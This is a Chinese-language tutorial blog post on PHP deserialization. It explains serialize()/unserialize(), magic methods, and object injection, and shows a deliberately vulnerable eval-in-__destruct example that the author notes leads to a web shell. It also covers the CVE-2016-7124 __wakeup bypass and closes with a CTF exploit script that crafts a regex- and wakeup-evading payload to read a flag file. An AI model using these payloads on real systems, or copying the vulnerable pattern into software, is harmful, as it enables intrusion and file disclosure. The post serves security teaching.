詳解之php反序列化

2020-07-16 10:06:00

1 前言

最近也是在複習之前學過的內容,感覺對PHP反序列化的理解更加深了,所以在此總結一下

2 serialize()函數

「所有php裡面的值都可以使用函數serialize()來返回一個包含位元組流的字串來表示。序列化一個物件將會儲存物件的所有變數,但是不會儲存物件的方法,只會儲存類的名字。」

一開始看這個概念可能有些懵,但之後也是慢慢理解了

在程式執行結束時,記憶體資料便會立即銷毀,變數所儲存的資料便是記憶體資料,而檔案、資料庫是「持久資料」,因此PHP序列化就是將記憶體的變數資料「儲存」到檔案中的持久資料的過程。

 $s = serialize($變數); //該函數將變數資料進行序列化轉換為字串
 file_put_contents(‘./目標文字檔案', $s); //將$s儲存到指定檔案

下面通過一個具體的例子來了解一下序列化:

<?php
class User
{
  public $age = 0;
  public $name = '';

  public function PrintData()
  {
    echo 'User '.$this->name.'is'.$this->age.'years old. <br />';
  }
}
//建立一個物件
$user = new User();
// 設定資料
$user->age = 20;
$user->name = 'daye';

//輸出資料
$user->PrintData();
//輸出序列化之後的資料
echo serialize($user);

?>

這個是結果:

可以看到序列化一個物件後將會儲存物件的所有變數,並且發現序列化後的結果都有一個字元,這些字元都是以下字母的縮寫。

a - array         b - boolean
d - double         i - integer
o - common object     r - reference
s - string         C - custom object
O - class         N - null
R - pointer reference   U - unicode string

了解了縮寫的型別字母,便可以得到PHP序列化格式

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
物件型別:長度:"類名":類中變數的個數:{型別:長度:"值";型別:長度:"值";......}

通過以上例子,便可以理解了概念中的通過serialize()函數返回一個包含位元組流的字串這一段話。

3 unserialize()函數

unserialize() 對單一的已序列化的變數進行操作,將其轉換回 PHP 的值。在解序列化一個物件前,這個物件的類必須在解序列化之前定義。

簡單來理解起來就算將序列化過儲存到檔案中的資料,恢復到程式程式碼的變數表示形式的過程,恢復到變數序列化之前的結果。

 $s = file_get_contents(‘./目標文字檔案'); //取得文字檔案的內容(之前序列化過的字串)
 $變數 = unserialize($s); //將該文字內容,反序列化到指定的變數中

通過一個例子來了解反序列化:

<?php
class User
{
  public $age = 0;
  public $name = '';

  public function PrintData()
  {
    echo 'User '.$this->name.' is '.$this->age.' years old. <br />';
  }
}
//重建物件
$user = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}');

$user->PrintData();

?>

這個是結果:

注意:在解序列化一個物件前,這個物件的類必須在解序列化之前定義。否則會報錯

4 PHP反序列化漏洞

在學習漏洞前,先來了解一下PHP魔法函數,對接下來的學習會很有幫助

PHP 將所有以 __(兩個下劃線)開頭的類方法保留為魔術方法

__construct  當一個物件建立時被呼叫,
__destruct  當一個物件銷毀時被呼叫,
__toString  當一個物件被當作一個字串被呼叫。
__wakeup()  使用unserialize時觸發
__sleep()  使用serialize時觸發
__destruct()  物件被銷毀時觸發
__call()  在物件上下文中呼叫不可存取的方法時觸發
__callStatic()  在靜態上下文中呼叫不可存取的方法時觸發
__get()  用於從不可存取的屬性讀取資料
__set()  用於將資料寫入不可存取的屬性
__isset()  在不可存取的屬性上呼叫isset()或empty()觸發
__unset()   在不可存取的屬性上使用unset()時觸發
__toString()  把類當作字串使用時觸發,返回值需要為字串
__invoke()  當指令碼嘗試將物件呼叫為函數時觸發

這裡只列出了一部分的魔法函數,

下面通過一個例子來了解一下魔法函數被自動呼叫的過程

<?php
class test{
 public $varr1="abc";
 public $varr2="123";
 public function echoP(){
 echo $this->varr1."<br>";
 }
 public function __construct(){
 echo "__construct<br>";
 }
 public function __destruct(){
 echo "__destruct<br>";
 }
 public function __toString(){
 return "__toString<br>";
 }
 public function __sleep(){
 echo "__sleep<br>";
 return array('varr1','varr2');
 }
 public function __wakeup(){
 echo "__wakeup<br>";
 }
}

$obj = new test(); //範例化物件,呼叫__construct()方法,輸出__construct
$obj->echoP();  //呼叫echoP()方法,輸出"abc"
echo $obj;  //obj物件被當做字串輸出,呼叫__toString()方法,輸出__toString
$s =serialize($obj); //obj物件被序列化,呼叫__sleep()方法,輸出__sleep
echo unserialize($s); //$s首先會被反序列化,會呼叫__wake()方法,被反序列化出來的物件又被當做字串,就會呼叫_toString()方法。
// 指令碼結束又會呼叫__destruct()方法,輸出__destruct
?>

這個是結果:

通過這個例子就可以清晰的看到魔法函數在符合相應的條件時便會被呼叫。

5 物件注入

當使用者的請求在傳給反序列化函數unserialize()之前沒有被正確的過濾時就會產生漏洞。因為PHP允許物件序列化,攻擊者就可以提交特定的序列化的字串給一個具有該漏洞的unserialize函數,最終導致一個在該應用範圍內的任意PHP物件注入。

物件漏洞出現得滿足兩個前提:

一、unserialize的引數可控。

二、 程式碼裡有定義一個含有魔術方法的類,並且該方法裡出現一些使用類成員變數作為引數的存在安全問題的函數。
下面來舉個例子:

<?php
class A{
  var $test = "demo";
  function __destruct(){
      echo $this->test;
  }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

比如這個列子,直接是使用者生成的內容傳遞給unserialize()函數,那就可以構造這樣的語句

?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}

在指令碼執行結束後便會呼叫_destruct函數,同時會覆蓋test變數輸出lemon。

發現這個漏洞,便可以利用這個漏洞點控制輸入變數,拼接成一個序列化物件。

再看一個例子:

<?php
class A{
  var $test = "demo";
  function __destruct(){
    @eval($this->test);//_destruct()函數中呼叫eval執行序列化物件中的語句
  }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:"A":1:{s:4:"test";s:".$len.":"".$test.";";}"; // 構造序列化物件
$test_unser = unserialize($pp); // 反序列化同時觸發_destruct函數
?>

其實仔細觀察就會發現,其實我們手動構造序列化物件就是為了unserialize()函數能夠觸發__destruc()函數,然後執行在__destruc()函數裡惡意的語句。

所以我們利用這個漏洞點便可以獲取web shell了

6 繞過魔法函數的反序列化

wakeup()魔法函數繞過

PHP5<5.6.25
PHP7<7.0.10

PHP反序列化漏洞CVE-2016-7124

#a#重點:當反序列化字串中,表示屬性個數的值大於真實屬性個數時,會繞過 __wakeup 函數的執行

百度盃——Hash

其實仔細分析程式碼,只要我們能繞過兩點即可得到f15g_1s_here.php的內容

(1)繞過正規表示式對變數的檢查
(2)繞過_wakeup()魔法函數,因為如果我們反序列化的不是Gu3ss_m3_h2h2.php,這個魔法函數在反序列化時會觸發並強制轉成Gu3ss_m3_h2h2.php

那麼問題就來了,如果繞過正規表示式
(1)/[oc]:d+:/i,例如:o:4:這樣就會被匹配到,而繞過也很簡單,只需加上一個+,這個正規表示式即匹配不到0:+4:

(2)繞過_wakeup()魔法函數,上面提到了當反序列化字串中,表示屬性個數的值大於真實屬性個數時,會繞過 _wakeup 函數的執行

編寫php序列化指令碼

<?php
class Demo {
  private $file = 'Gu3ss_m3_h2h2.php';

  public function __construct($file) {
    $this->file = $file;
  }

  function __destruct() {
    echo @highlight_file($this->file, true);
  }

  function __wakeup() {
    if ($this->file != 'Gu3ss_m3_h2h2.php') {
      //the secret is in the f15g_1s_here.php
      $this->file = 'Gu3ss_m3_h2h2.php';
    }
  }
}
#先建立一個物件,自動呼叫__construct魔法函數
$obj = new Demo('f15g_1s_here.php');
#進行序列化
$a = serialize($obj);
#使用str_replace() 函數進行替換,來繞過正規表示式的檢查
$a = str_replace('O:4:','O:+4:',$a);
#使用str_replace() 函數進行替換,來繞過__wakeup()魔法函數
$a = str_replace(':1:',':2:',$a);
#再進行base64編碼
echo base64_encode($a);
?>

以上就是詳解之php反序列化的詳細內容,更多請關注TW511.COM其它相關文章!